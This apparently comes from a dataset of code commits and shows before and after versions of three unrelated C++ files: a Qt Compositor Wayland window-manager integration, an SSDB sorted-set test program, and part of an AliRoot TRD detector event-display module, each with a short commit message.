const\n{\n return m_managedClients.value(client, 0);\n}\n\nWindowManagerServerIntegration *WindowManagerServerIntegration::instance()\n{\n return m_instance;\n}\n\n\/\/\/ \/\/\/\n\/\/\/ \/ WaylandManagedClient\n\/\/\/ \/\/\/\n\nWaylandManagedClient::WaylandManagedClient()\n : m_processId(0)\n{\n}\n\nqint64 WaylandManagedClient::processId() const\n{\n return m_processId;\n}\n\nQByteArray WaylandManagedClient::authenticationToken() const\n{\n return m_authenticationToken;\n}\n<commit_msg>Remove debug output<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Compositor.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"waylandwindowmanagerintegration.h\"\n\n#include \"waylandobject.h\"\n#include \"wayland_wrapper\/wldisplay.h\"\n#include \"wayland_wrapper\/wlcompositor.h\"\n\n#include \"wayland-server.h\"\n#include \"wayland-windowmanager-server-protocol.h\"\n\n\/\/ the protocol files are generated with wayland-scanner, in the following manner:\n\/\/ wayland-scanner client-header < windowmanager.xml > wayland-windowmanager-client-protocol.h\n\/\/ wayland-scanner server-header < windowmanager.xml > wayland-windowmanager-server-protocol.h\n\/\/ wayland-scanner code < windowmanager.xml > wayland-windowmanager-protocol.c\n\/\/\n\/\/ wayland-scanner can be found from wayland sources.\n\nclass WindowManagerObject : public Wayland::Object<struct wl_object>\n{\npublic:\n\n void mapClientToProcess(wl_client *client, uint32_t processId)\n {\n WindowManagerServerIntegration::instance()->mapClientToProcess(client, processId);\n }\n\n void authenticateWithToken(wl_client *client, const char *authenticationToken)\n {\n WindowManagerServerIntegration::instance()->authenticateWithToken(client, authenticationToken);\n }\n\n void changeScreenVisibility(wl_client *client, int visible)\n {\n WindowManagerServerIntegration::instance()->changeScreenVisibility(client, visible);\n }\n\n};\n\nvoid map_client_to_process(wl_client *client, struct wl_windowmanager *windowMgr, uint32_t processId)\n{\n reinterpret_cast<WindowManagerObject *>(windowMgr)->mapClientToProcess(client, processId);\n}\n\nvoid authenticate_with_token(wl_client *client, struct wl_windowmanager *windowMgr, const char *wl_authentication_token)\n{\n reinterpret_cast<WindowManagerObject *>(windowMgr)->authenticateWithToken(client, wl_authentication_token);\n}\n\nconst static struct wl_windowmanager_interface windowmanager_interface = {\n map_client_to_process,\n authenticate_with_token\n};\n\nWindowManagerServerIntegration *WindowManagerServerIntegration::m_instance = 0;\n\nWindowManagerServerIntegration::WindowManagerServerIntegration(QObject *parent)\n : QObject(parent)\n , m_orientationInDegrees(0)\n{\n m_instance = this;\n}\n\nvoid WindowManagerServerIntegration::initialize(Wayland::Display *waylandDisplay)\n{\n m_windowManagerObject = new WindowManagerObject();\n waylandDisplay->addGlobalObject(m_windowManagerObject->base(),\n &wl_windowmanager_interface, &windowmanager_interface, 0);\n}\n\nvoid WindowManagerServerIntegration::removeClient(wl_client *client)\n{\n WaylandManagedClient *managedClient = m_managedClients.take(client);\n delete managedClient;\n}\n\nvoid WindowManagerServerIntegration::mapClientToProcess(wl_client *client, uint32_t processId)\n{\n WaylandManagedClient *managedClient = m_managedClients.value(client, new WaylandManagedClient);\n managedClient->m_processId = processId;\n m_managedClients.insert(client, managedClient);\n}\n\nvoid WindowManagerServerIntegration::authenticateWithToken(wl_client *client, const char *token)\n{\n WaylandManagedClient *managedClient = m_managedClients.value(client, new WaylandManagedClient);\n managedClient->m_authenticationToken = QByteArray(token);\n m_managedClients.insert(client, managedClient);\n}\n\nvoid WindowManagerServerIntegration::changeScreenVisibility(wl_client *client, int visible)\n{\n m_managedClients[client]->m_isVisibleOnScreen = visible != 0;\n\n wl_client_post_event(client, m_windowManagerObject->base(),\n WL_WINDOWMANAGER_CLIENT_ONSCREEN_VISIBILITY, visible);\n}\n\nvoid WindowManagerServerIntegration::updateOrientation(wl_client *client)\n{\n setScreenOrientation(client, m_orientationInDegrees);\n}\n\nvoid WindowManagerServerIntegration::setScreenOrientation(wl_client *client, qint32 orientationInDegrees)\n{\n m_orientationInDegrees = orientationInDegrees;\n wl_client_post_event(client, m_windowManagerObject->base(),\n WL_WINDOWMANAGER_SET_SCREEN_ROTATION, orientationInDegrees);\n}\n\nWaylandManagedClient *WindowManagerServerIntegration::managedClient(wl_client *client) const\n{\n return m_managedClients.value(client, 0);\n}\n\nWindowManagerServerIntegration *WindowManagerServerIntegration::instance()\n{\n return m_instance;\n}\n\n\/\/\/ \/\/\/\n\/\/\/ \/ WaylandManagedClient\n\/\/\/ \/\/\/\n\nWaylandManagedClient::WaylandManagedClient()\n : m_processId(0)\n{\n}\n\nqint64 WaylandManagedClient::processId() const\n{\n return m_processId;\n}\n\nQByteArray WaylandManagedClient::authenticationToken() const\n{\n return m_authenticationToken;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\nCopyright (c) 2012-2014 The SSDB Authors. All rights reserved.\nUse of this source code is governed by a BSD-style license that can be\nfound in the LICENSE file.\n*\/\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n#include <vector>\n#include \"log.h\"\n#include \"sorted_set.h\"\n\nint main(int argc, char **argv){\t\n\tSortedSet zset;\n\n\tstd::vector<std::string> keys;\n\tfor(int i='a'; i<='z'; i++){\n\t\tchar buf[10];\n\t\tsnprintf(buf, sizeof(buf), \"%c\", i);\n\t\tkeys.push_back(buf);\n\t}\n\t\n\tlog_debug(\"\");\n\tsrand(time(NULL));\n\tfor(int i=0; i<1000 * 1000; i++){\n\t\tstd::string &key = keys[rand() % keys.size()];\n\t\tzset.add(key, rand()%30 - 15);\n\t}\n\tlog_debug(\"\");\n\t\n\tconst std::string *key;\n\tint64_t score;\n\tint n = 0;\n\twhile(zset.front(&key, &score)){\n\t\tprintf(\"%s : %4lld\\n\", key->c_str(), score);\n\t\tzset.pop_front();\n\t\tn ++;\n\t}\n\tlog_debug(\"%d\", n);\n\t\n\treturn 0;\n}\n<commit_msg>resolve compile error<commit_after>\/*\nCopyright (c) 2012-2014 The SSDB Authors. All rights reserved.\nUse of this source code is governed by a BSD-style license that can be\nfound in the LICENSE file.\n*\/\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n#include <vector>\n#include \"log.h\"\n#include \"sorted_set.h\"\n\nint main(int argc, char **argv){\t\n\tSortedSet zset;\n\n\tstd::vector<std::string> keys;\n\tfor(int i='a'; i<='z'; i++){\n\t\tchar buf[10];\n\t\tsnprintf(buf, sizeof(buf), \"%c\", i);\n\t\tkeys.push_back(buf);\n\t}\n\t\n\tlog_debug(\"\");\n\tsrand(time(NULL));\n\tfor(int i=0; i<1000 * 1000; i++){\n\t\tstd::string &key = keys[rand() % keys.size()];\n\t\tzset.add(key, rand()%30 - 15);\n\t}\n\tlog_debug(\"\");\n\t\n\tstd::string *key;\n\tint64_t score;\n\tint n = 0;\n\twhile(zset.front(key, &score)){\n\t\tprintf(\"%s : %4lld\\n\", key->c_str(), score);\n\t\tzset.pop_front();\n\t\tn ++;\n\t}\n\tlog_debug(\"%d\", n);\n\t\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"TRDData.h\"\n#include \"TRDModuleImp.h\"\n\n#include \"AliLog.h\"\n#include \"AliTRDhit.h\"\n#include \"AliTRDcluster.h\"\n#include \"AliTRDcalibDB.h\"\n#include \"AliTRDpadPlane.h\"\n#include \"AliTRDgeometry.h\"\n#include \"AliTRDdigitsManager.h\"\n\nusing namespace Reve;\nusing namespace Alieve;\nusing namespace std;\n\n\nClassImp(TRDHits)\nClassImp(TRDDigits)\nClassImp(TRDClusters)\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/ TRDDigits \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/________________________________________________________\nTRDDigits::TRDDigits(TRDChamber *p): OldQuadSet(\"digits\", \"\"), RenderElement(), fParent(p)\n{}\n\n\/\/________________________________________________________\nvoid\tTRDDigits::SetData(AliTRDdigitsManager *digits)\n{\n\t\n\tfData.Allocate(fParent->rowMax, fParent->colMax, fParent->timeMax);\n\/\/\tdigits->Expand();\n\tfor (Int_t row = 0; row < fParent->rowMax; row++)\n\t\tfor (Int_t col = 0; col < fParent->colMax; col++)\n\t\t\tfor (Int_t time = 0; time < fParent->timeMax; time++) {\n\t\t\t\tif(digits->GetDigitAmp(row, col, time, fParent->GetID()) < 0) continue;\n\t\t\t\tfData.SetDataUnchecked(row, col, time, digits->GetDigitAmp(row, col, time, fParent->GetID()));\n\t}\n}\n\n\/\/________________________________________________________\nvoid\tTRDDigits::ComputeRepresentation()\n{\n\/\/ Calculate digits representation according to user settings. The\n\/\/ user can set the following parameters:\n\/\/ - digits scale (log\/lin)\n\/\/ - digits threshold\n\/\/ - digits apparence (quads\/boxes)\n\n\tfQuads.clear();\n\tfBoxes.fBoxes.clear();\n\t\t\n\tDouble_t colSize, rowSize, scale;\n\tDouble_t x, y, z;\n\n\tInt_t charge;\n\tFloat_t t0;\n\tFloat_t timeBinSize;\n\t\n\tAliTRDcalibDB* calibration = AliTRDcalibDB::Instance();\n Double_t cloc[4][3], cglo[3];\n\tInt_t color, dimension;\n\tfData.Expand();\n\tfor (Int_t row = 0; row < fParent->rowMax; row++) {\n\t\trowSize = .5 * fParent->fPadPlane->GetRowSize(row);\n\t\tz = fParent->fPadPlane->GetRowPos(row) - rowSize;\n\t\t\n\t\tfor (Int_t col = 0; col < fParent->colMax; col++) {\n\t\t\tcolSize = .5 * fParent->fPadPlane->GetColSize(col);\n\t\t\ty = fParent->fPadPlane->GetColPos(col) - colSize;\n\t\t\tt0 = calibration->GetT0(fParent->fDet, col, row);\n\t\t\ttimeBinSize = calibration->GetVdrift(fParent->fDet, col, row)\/fParent->samplingFrequency;\n\t\t\t\n\t\t\tfor (Int_t time = 0; time < fParent->timeMax; time++) {\n\t\t\t\tcharge = fData.GetDataUnchecked(row, col, time);\n\t \t\tif (charge < fParent->GetDigitsThreshold()) continue;\n\t\t\t\t\n\t\t\t\tx = fParent->fX0 - (time+0.5-t0)*timeBinSize;\n\t\t\t\tscale = fParent->GetDigitsLog() ? TMath::Log(float(charge))\/TMath::Log(1024.) : charge\/1024.;\n\t\t\t\tcolor = 50+int(scale*50.);\n\t\t\t\t\n\t\t\t\tcloc[0][2] = z - rowSize * scale;\n\t\t\t\tcloc[0][1] = y - colSize * scale;\n\t\t\t\tcloc[0][0] = x;\n \t\t\t\n\t\t\t\tcloc[1][2] = z - rowSize * scale;\n\t\t\t\tcloc[1][1] = y + colSize * scale;\n\t\t\t\tcloc[1][0] = x;\n \t\t\t\n\t\t\t\tcloc[2][2] = z + rowSize * scale;\n\t\t\t\tcloc[2][1] = y + colSize * scale;\n\t\t\t\tcloc[2][0] = x;\n \t\t\t\n\t\t\t\tcloc[3][2] = z + rowSize * scale;\n\t\t\t\tcloc[3][1] = y - colSize * scale;\n\t\t\t\tcloc[3][0] = x;\n\t\n\t\t\t\tFloat_t* p;\n\t\t\t\tif( fParent->GetDigitsBox()){\n\t\t\t\t\tfBoxes.fBoxes.push_back(Reve::Box());\n\t\t\t\t\tfBoxes.fBoxes.back().color[0] = (UChar_t)color;\n\t\t\t\t\tfBoxes.fBoxes.back().color[1] = (UChar_t)color;\n\t\t\t\t\tfBoxes.fBoxes.back().color[2] = (UChar_t)color;\n\t\t\t\t\tfBoxes.fBoxes.back().color[3] = (UChar_t)color;\n\t\t\t\t\tp = fBoxes.fBoxes.back().vertices;\n\t\t\t\t\tdimension = 2;\n\t\t\t\t} else {\n\t\t\t\t\tfQuads.push_back(Reve::Quad());\n\t\t\t\t\tfQuads.back().ColorFromIdx(color);\n\t\t\t\t\tp = fQuads.back().vertices;\n\t\t\t\t\tdimension = 1;\n\t\t\t\t}\n\n\t\t\t\tfor(int id=0; id<dimension; id++)\n\t\t\t\tfor (Int_t ic = 0; ic < 4; ic++) {\n\t\t\t\t\tcloc[ic][0] -= .5 * id * timeBinSize;\n\t\t\t\t\tfParent->fGeo->RotateBack(fParent->fDet,cloc[ic],cglo);\n\t \tp[0] = cglo[0]; p[1] = cglo[1]; p[2] = cglo[2];\n\t\t\t\t\tp+=3;\n\t\t\t\t}\n\t\t\t} \/\/ end time loop\n\t\t} \/\/ end col loop\n\t} \/\/ end row loop\n\tfData.Compress(1);\n}\n\n\/\/________________________________________________________\nvoid TRDDigits::Paint(Option_t *option)\n{\n\tif(fParent->GetDigitsBox()) fBoxes.Paint(option);\n\telse OldQuadSet::Paint(option);\n}\n\n\/\/________________________________________________________\nvoid TRDDigits::Reset()\n{\n\tfQuads.clear();\n\tfBoxes.fBoxes.clear();\n\tfData.Reset();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/ TRDHits \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/________________________________________________________\nTRDHits::TRDHits(TRDChamber *p):PointSet(\"hits\", 20), fParent(p)\n{}\n\n\/\/________________________________________________________\nvoid TRDHits::PointSelected(Int_t n)\n{\n\tfParent->SpawnEditor();\n\tAliTRDhit *h = dynamic_cast<AliTRDhit*>(GetPointId(n));\n\tprintf(\"\\nDetector : %d\\n\", h->GetDetector());\n\tprintf(\"Region of production : %c\\n\", h->FromAmplification() ? 'A' : 'D');\n\tprintf(\"TR photon : %s\\n\", h->FromTRphoton() ? \"Yes\" : \"No\");\n\tprintf(\"Charge : %d\\n\", h->GetCharge());\n\tprintf(\"MC track label : %d\\n\", h->GetTrack());\n\tprintf(\"Time from collision : %f\\n\", h->GetTime());\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/ TRDHits \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/________________________________________________________\nTRDClusters::TRDClusters(TRDChamber *p):TRDHits(p)\n{}\n\n\/\/________________________________________________________\nvoid TRDClusters::PointSelected(Int_t n)\n{\n\tfParent->SpawnEditor();\n\tAliTRDcluster *c = dynamic_cast<AliTRDcluster*>(GetPointId(n));\n\tprintf(\"\\nDetector : %d\\n\", c->GetDetector());\n\tprintf(\"Charge : %f\\n\", c->GetQ());\n\tprintf(\"Sum S : %4.0f\\n\", c->GetSumS());\n\tprintf(\"Time bin : %d\\n\", c->GetLocalTimeBin());\n\tprintf(\"Signals : \");\n\tShort_t *cSignals = c->GetSignals();\n\tfor(Int_t ipad=0; ipad<7; ipad++) printf(\"%d \", cSignals[ipad]); printf(\"\\n\");\n\tprintf(\"Central pad : %d\\n\", c->GetPad());\n\tprintf(\"MC track labels : \");\n\tfor(Int_t itrk=0; itrk<3; itrk++) printf(\"%d \", c->GetLabel(itrk)); printf(\"\\n\");\n\/\/ Bool_t\tAliCluster::GetGlobalCov(Float_t* cov) const\n\/\/ Bool_t\tAliCluster::GetGlobalXYZ(Float_t* xyz) const\n\/\/ Float_t\tAliCluster::GetSigmaY2() const\n\/\/ Float_t\tAliCluster::GetSigmaYZ() const\n\/\/ Float_t\tAliCluster::GetSigmaZ2() const\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/ TRDHitsEditor \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nTRDHitsEditor::TRDHitsEditor(const TGWindow* p, Int_t width, Int_t height, UInt_t options, Pixel_t back) : TGedFrame(p, width, height, options, back)\n{\n\tMakeTitle(\"TRD Hits\");\n\n}\n\nTRDHitsEditor::~TRDHitsEditor()\n{}\n\nvoid TRDHitsEditor::SetModel(TObject* obj)\n{\n\tfM = dynamic_cast<TRDHits*>(obj);\n\n\/\/ \tFloat_t x, y, z;\n\/\/ \tfor(int ihit=0; ihit<fM->GetN(); ihit++){\n\/\/ \t\tfM->GetPoint(ihit, x, y, z);\n\/\/ \t\tprintf(\"%3d : x=%6.3f y=%6.3f z=%6.3f\\n\", ihit, x, y, z);\n\/\/ \t}\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/ TRDDigitsEditor \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nTRDDigitsEditor::TRDDigitsEditor(const TGWindow* p, Int_t width, Int_t height, UInt_t options, Pixel_t back) : TGedFrame(p, width, height, options, back)\n{\n\tMakeTitle(\"TRD Digits\");\n\n}\n\nTRDDigitsEditor::~TRDDigitsEditor()\n{}\n\nvoid TRDDigitsEditor::SetModel(TObject* obj)\n{\n\tfM = dynamic_cast<TRDDigits*>(obj);\n\tfM->fParent->SpawnEditor();\n\t\n\/\/ \tprintf(\"Chamber %d\", fM->fParent->GetID());\n\/\/ \tfor (Int_t row = 0; row < fM->fParent->GetRowMax(); row++)\n\/\/ \t\tfor (Int_t col = 0; col < fM->fParent->GetColMax(); col++)\n\/\/ \t\t\tfor (Int_t time = 0; time < fM->fParent->GetTimeMax(); time++) {\n\/\/ \t\t\t\tprintf(\"\\tA(%d %d %d) = %d\\n\", row, col, time, fM->fData.GetDataUnchecked(row, col, time));\n\/\/ \t\t\t}\n}\n<commit_msg>Small change required by the updated AliTRDcluster (Christoph)<commit_after>#include \"TRDData.h\"\n#include \"TRDModuleImp.h\"\n\n#include \"AliLog.h\"\n#include \"AliTRDhit.h\"\n#include \"AliTRDcluster.h\"\n#include \"AliTRDcalibDB.h\"\n#include \"AliTRDpadPlane.h\"\n#include \"AliTRDgeometry.h\"\n#include \"AliTRDdigitsManager.h\"\n\nusing namespace Reve;\nusing namespace Alieve;\nusing namespace std;\n\n\nClassImp(TRDHits)\nClassImp(TRDDigits)\nClassImp(TRDClusters)\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/ TRDDigits \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/________________________________________________________\nTRDDigits::TRDDigits(TRDChamber *p): OldQuadSet(\"digits\", \"\"), RenderElement(), fParent(p)\n{}\n\n\/\/________________________________________________________\nvoid\tTRDDigits::SetData(AliTRDdigitsManager *digits)\n{\n\t\n\tfData.Allocate(fParent->rowMax, fParent->colMax, fParent->timeMax);\n\/\/\tdigits->Expand();\n\tfor (Int_t row = 0; row < fParent->rowMax; row++)\n\t\tfor (Int_t col = 0; col < fParent->colMax; col++)\n\t\t\tfor (Int_t time = 0; time < fParent->timeMax; time++) {\n\t\t\t\tif(digits->GetDigitAmp(row, col, time, fParent->GetID()) < 0) continue;\n\t\t\t\tfData.SetDataUnchecked(row, col, time, digits->GetDigitAmp(row, col, time, fParent->GetID()));\n\t}\n}\n\n\/\/________________________________________________________\nvoid\tTRDDigits::ComputeRepresentation()\n{\n\/\/ Calculate digits representation according to user settings. The\n\/\/ user can set the following parameters:\n\/\/ - digits scale (log\/lin)\n\/\/ - digits threshold\n\/\/ - digits apparence (quads\/boxes)\n\n\tfQuads.clear();\n\tfBoxes.fBoxes.clear();\n\t\t\n\tDouble_t colSize, rowSize, scale;\n\tDouble_t x, y, z;\n\n\tInt_t charge;\n\tFloat_t t0;\n\tFloat_t timeBinSize;\n\t\n\tAliTRDcalibDB* calibration = AliTRDcalibDB::Instance();\n Double_t cloc[4][3], cglo[3];\n\tInt_t color, dimension;\n\tfData.Expand();\n\tfor (Int_t row = 0; row < fParent->rowMax; row++) {\n\t\trowSize = .5 * fParent->fPadPlane->GetRowSize(row);\n\t\tz = fParent->fPadPlane->GetRowPos(row) - rowSize;\n\t\t\n\t\tfor (Int_t col = 0; col < fParent->colMax; col++) {\n\t\t\tcolSize = .5 * fParent->fPadPlane->GetColSize(col);\n\t\t\ty = fParent->fPadPlane->GetColPos(col) - colSize;\n\t\t\tt0 = calibration->GetT0(fParent->fDet, col, row);\n\t\t\ttimeBinSize = calibration->GetVdrift(fParent->fDet, col, row)\/fParent->samplingFrequency;\n\t\t\t\n\t\t\tfor (Int_t time = 0; time < fParent->timeMax; time++) {\n\t\t\t\tcharge = fData.GetDataUnchecked(row, col, time);\n\t \t\tif (charge < fParent->GetDigitsThreshold()) continue;\n\t\t\t\t\n\t\t\t\tx = fParent->fX0 - (time+0.5-t0)*timeBinSize;\n\t\t\t\tscale = fParent->GetDigitsLog() ? TMath::Log(float(charge))\/TMath::Log(1024.) : charge\/1024.;\n\t\t\t\tcolor = 50+int(scale*50.);\n\t\t\t\t\n\t\t\t\tcloc[0][2] = z - rowSize * scale;\n\t\t\t\tcloc[0][1] = y - colSize * scale;\n\t\t\t\tcloc[0][0] = x;\n \t\t\t\n\t\t\t\tcloc[1][2] = z - rowSize * scale;\n\t\t\t\tcloc[1][1] = y + colSize * scale;\n\t\t\t\tcloc[1][0] = x;\n \t\t\t\n\t\t\t\tcloc[2][2] = z + rowSize * scale;\n\t\t\t\tcloc[2][1] = y + colSize * scale;\n\t\t\t\tcloc[2][0] = x;\n \t\t\t\n\t\t\t\tcloc[3][2] = z + rowSize * scale;\n\t\t\t\tcloc[3][1] = y - colSize * scale;\n\t\t\t\tcloc[3][0] = x;\n\t\n\t\t\t\tFloat_t* p;\n\t\t\t\tif( fParent->GetDigitsBox()){\n\t\t\t\t\tfBoxes.fBoxes.push_back(Reve::Box());\n\t\t\t\t\tfBoxes.fBoxes.back().color[0] = (UChar_t)color;\n\t\t\t\t\tfBoxes.fBoxes.back().color[1] = (UChar_t)color;\n\t\t\t\t\tfBoxes.fBoxes.back().color[2] = (UChar_t)color;\n\t\t\t\t\tfBoxes.fBoxes.back().color[3] = (UChar_t)color;\n\t\t\t\t\tp = fBoxes.fBoxes.back().vertices;\n\t\t\t\t\tdimension = 2;\n\t\t\t\t} else {\n\t\t\t\t\tfQuads.push_back(Reve::Quad());\n\t\t\t\t\tfQuads.back().ColorFromIdx(color);\n\t\t\t\t\tp = fQuads.back().vertices;\n\t\t\t\t\tdimension = 1;\n\t\t\t\t}\n\n\t\t\t\tfor(int id=0; id<dimension; id++)\n\t\t\t\tfor (Int_t ic = 0; ic < 4; ic++) {\n\t\t\t\t\tcloc[ic][0] -= .5 * id * timeBinSize;\n\t\t\t\t\tfParent->fGeo->RotateBack(fParent->fDet,cloc[ic],cglo);\n\t \tp[0] = cglo[0]; p[1] = cglo[1]; p[2] = cglo[2];\n\t\t\t\t\tp+=3;\n\t\t\t\t}\n\t\t\t} \/\/ end time loop\n\t\t} \/\/ end col loop\n\t} \/\/ end row loop\n\tfData.Compress(1);\n}\n\n\/\/________________________________________________________\nvoid TRDDigits::Paint(Option_t *option)\n{\n\tif(fParent->GetDigitsBox()) fBoxes.Paint(option);\n\telse OldQuadSet::Paint(option);\n}\n\n\/\/________________________________________________________\nvoid TRDDigits::Reset()\n{\n\tfQuads.clear();\n\tfBoxes.fBoxes.clear();\n\tfData.Reset();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/ TRDHits \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/________________________________________________________\nTRDHits::TRDHits(TRDChamber *p):PointSet(\"hits\", 20), fParent(p)\n{}\n\n\/\/________________________________________________________\nvoid TRDHits::PointSelected(Int_t n)\n{\n\tfParent->SpawnEditor();\n\tAliTRDhit *h = dynamic_cast<AliTRDhit*>(GetPointId(n));\n\tprintf(\"\\nDetector : %d\\n\", h->GetDetector());\n\tprintf(\"Region of production : %c\\n\", h->FromAmplification() ? 'A' : 'D');\n\tprintf(\"TR photon : %s\\n\", h->FromTRphoton() ? \"Yes\" : \"No\");\n\tprintf(\"Charge : %d\\n\", h->GetCharge());\n\tprintf(\"MC track label : %d\\n\", h->GetTrack());\n\tprintf(\"Time from collision : %f\\n\", h->GetTime());\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/ TRDHits \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/________________________________________________________\nTRDClusters::TRDClusters(TRDChamber *p):TRDHits(p)\n{}\n\n\/\/________________________________________________________\nvoid TRDClusters::PointSelected(Int_t n)\n{\n\tfParent->SpawnEditor();\n\tAliTRDcluster *c = dynamic_cast<AliTRDcluster*>(GetPointId(n));\n\tprintf(\"\\nDetector : %d\\n\", c->GetDetector());\n\tprintf(\"Charge : %f\\n\", c->GetQ());\n\tprintf(\"Sum S : %4.0f\\n\", c->GetSumS());\n\tprintf(\"Time bin : %d\\n\", c->GetLocalTimeBin());\n\tprintf(\"Signals : \");\n\tShort_t *cSignals = c->GetSignals();\n\tfor(Int_t ipad=0; ipad<7; ipad++) printf(\"%d \", cSignals[ipad]); printf(\"\\n\");\n\tprintf(\"Central pad : %d\\n\", c->GetPadCol());\n\tprintf(\"MC track labels : \");\n\tfor(Int_t itrk=0; itrk<3; itrk++) printf(\"%d \", c->GetLabel(itrk)); printf(\"\\n\");\n\/\/ Bool_t\tAliCluster::GetGlobalCov(Float_t* cov) const\n\/\/ Bool_t\tAliCluster::GetGlobalXYZ(Float_t* xyz) const\n\/\/ Float_t\tAliCluster::GetSigmaY2() const\n\/\/ Float_t\tAliCluster::GetSigmaYZ() const\n\/\/ Float_t\tAliCluster::GetSigmaZ2() 